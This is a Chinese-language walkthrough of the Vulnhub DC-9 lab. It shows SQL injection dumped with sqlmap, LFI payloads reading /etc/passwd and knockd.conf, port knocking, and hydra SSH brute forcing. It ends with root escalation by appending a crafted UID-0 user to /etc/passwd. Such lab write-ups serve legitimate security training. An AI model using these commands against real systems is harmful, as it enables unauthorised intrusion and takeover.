Vulnhub靶场实战---DC-9

0x00 环境准备

1.官网下载地址:

https://www.vulnhub.com/entry/dc-9,412/

2.下载完成之后直接导入vm,使用NAT模式连接,保持在同一网段

攻击机:kali (192.168.88.130)

靶机:DC-8 (192.168.88.132)
Vulnhub靶场实战---DC-9_第1张图片

0x01 信息收集

老办法,使用arp-scan -l 找到目标主机,目标主机ip为192.168.88.132
Vulnhub靶场实战---DC-9_第2张图片
查看开放端口,22端口被过滤,登录80端口查看

nmap -sV -p- -A 192.168.88.132

Vulnhub靶场实战---DC-9_第3张图片

0x02 渗透测试

一、SQL注入

登录页面,发现有两个地方可以操控,可能是sql注入,对http://192.168.88.132/manage.php操作,发现无果,接着尝试另一个search页面

http://192.168.88.132/manage.php
http://192.168.88.132/search.php

Vulnhub靶场实战---DC-9_第4张图片
输入1’ 报错,说明存在sql注入,但查看url,发现为post注入
Vulnhub靶场实战---DC-9_第5张图片
在搜索框输入123后使用sqlmap自动跑,爆数据库名

  sqlmap -u http://192.168.88.132/results.php --data="search=123" -dbs 

Vulnhub靶场实战---DC-9_第6张图片
根据第六感首先查看users数据库,发现并没有什么利用价值
Vulnhub靶场实战---DC-9_第7张图片
紧接着我们查看staff数据库,爆表名

sqlmap -u http://192.168.88.132/results.php --data="search=123" -D Staff -tables -batch 

Vulnhub靶场实战---DC-9_第8张图片
爆字段名

sqlmap -u http://192.168.88.132/results.php --data="search=123" -D Staff -T Users -columns -batch 

Vulnhub靶场实战---DC-9_第9张图片
爆用户名密码,这里一路回车,使用sqlmap自带的字典跑出明文密码,但是这里出了点意外,需要多试几次。实在跑不出来用md5在线解密网站,这里推荐一个网站。

https://hashes.com/en/decrypt/hash
sqlmap -u http://192.168.88.132/results.php --data="search=123" -D Staff -T Users -C Username,Password -dump 

Vulnhub靶场实战---DC-9_第10张图片

二、文件包含

登录账号admin/transorbital1,发现一个疑似文件包含(LFI)的漏洞
Vulnhub靶场实战---DC-9_第11张图片
我们验证一下是否为LFI漏洞,成功包含

http://192.168.88.132/manage.php?file=../../../../etc/passwd

Vulnhub靶场实战---DC-9_第12张图片

三、端口敲门服务

想到之前的22端口被过滤掉,可能是因为安装了端口敲门服务,端口敲门服务默认的配置文件路径为:/etc/knockd.conf

端口敲门服务通俗的理解为类似于一种特工的暗号,例如有规律的敲击三下房门,房间内的人才会把门打开。具体解释见下方链接:
https://zhuanlan.zhihu.com/p/59488488
https://www.cnblogs.com/xiaoxiaoleo/p/8523322.html

http://192.168.88.132/manage.php?file=../../../../etc/knockd.conf

Vulnhub靶场实战---DC-9_第13张图片
使用nmap依次访问7469、8475、9842三个端口

nmap -p 7469 192.168.88.132
nmap -p 8475 192.168.88.132
nmap -p 9842 192.168.88.132

Vulnhub靶场实战---DC-9_第14张图片
或者使用knockd工具
knockd安装

https://www.cnblogs.com/yanzi2020/p/14778112.html
knock 192.168.88.132 7469 8475 9842

查看22端口,发现已被打开
Vulnhub靶场实战---DC-9_第15张图片

四、爆破ssh账号密码

将users数据库UserDetails表中的字段信息分别存储在username.txt和passwd.txt两个文件中。
Vulnhub靶场实战---DC-9_第16张图片

hydra -L username.txt -P passwd.txt ssh://192.168.88.132

Vulnhub靶场实战---DC-9_第17张图片
登录janitor/Ilovepeepee账户,发现一个隐藏文件

ssh [email protected]

Vulnhub靶场实战---DC-9_第18张图片
将隐藏文件的密码放入passwd中,再次解密发现一个新账号fredf/B4-Tru3-001
Vulnhub靶场实战---DC-9_第19张图片
Vulnhub靶场实战---DC-9_第20张图片

0x03 提权

查看fredf用户可以哪些具有root权限的命令
Vulnhub靶场实战---DC-9_第21张图片
发现一个test.py的文件
Vulnhub靶场实战---DC-9_第22张图片

py文件的含义为:读取参数1的内容,然后将参数1的内容写入到参数2的内容中。
那我们可以构造一个root权限用户,将该用户信息写入文件内,将改文件作为参数1,/etc/passwd作为参数2,这样就创建了一个root权限用户,就能实现提权了

openssl passwd -1 -salt yiqiyihui 123456
-1 的意思是使用md5加密算法
-salt 自动插入一个随机数作为文件内容加密

在kali中使用openssl创建一个加密本地用户
在这里插入图片描述
在/tmp下创建flag的文件,使用sudo用test文件运行这个文件

 echo 'yiqiyihui:$1$yiqiyihu$6pPhTsjJB3HQUd80pSDEe1:0:0::/root:/bin/bash' >>/tmp/flag

在这里插入图片描述
切换到yiqiyihui用户,获取flag
Vulnhub靶场实战---DC-9_第23张图片

你可能感兴趣的:(vulnhub,安全,web安全,linux)